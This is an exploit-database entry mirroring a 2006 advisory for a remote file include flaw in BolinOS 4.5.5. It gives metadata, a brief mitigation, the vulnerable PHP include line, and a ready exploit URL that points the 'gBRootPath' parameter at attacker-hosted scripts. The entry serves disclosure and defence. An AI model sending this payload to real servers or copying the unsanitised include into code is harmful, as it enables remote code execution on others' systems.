BolinOS v.4.5.5 - exploit.company

vendor:

BolinOS

by:

xoron (turkish hacker)

7,5

CVSS

HIGH

Remote File Include

CWE

Product Name: BolinOS

Affected Version From: 4.5.5

Affected Version To: 4.5.5

Patch Exists: YES

Related CWE: N/A

CPE: a:bolin:bolinos:4.5.5

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

BolinOS v.4.5.5 <= (gBRootPath) Remote File Include Vulnerability

BolinOS v.4.5.5 is vulnerable to a remote file include vulnerability due to a lack of sanitization of user-supplied input to the 'gBRootPath' parameter of the 'gBIndex.php' script. An attacker can exploit this vulnerability by sending a malicious URL to an unsuspecting user. The malicious URL contains a specially crafted string that, when processed by the vulnerable script, will cause arbitrary remote code execution.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized before being used in the application.

Source

Exploit-DB raw data:

=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+BolinOS v.4.5.5 <= (gBRootPath) Remote File Include Vulnerability
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+Author: xoron (turkish hacker)
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+Class : Remote
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+Vuln Code: include ($GLOBALS["gBRootPath"].$GLOBALS["gBSysPath"]."/system/_b/contentFiles/gBLib.php");
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+Exploit: http://www.site.com/[script path]/system/_b/contentFiles/gBIndex.php?gBRootPath=evil_scripts?
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+ Thanx : str0ke, Ironfist, Preddy, SHiKaA, mdx, gültekin, R3D4C!D, DaRK, insomnia, mirim, Dreamlord,
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=

# milw0rm.com [2006-09-15]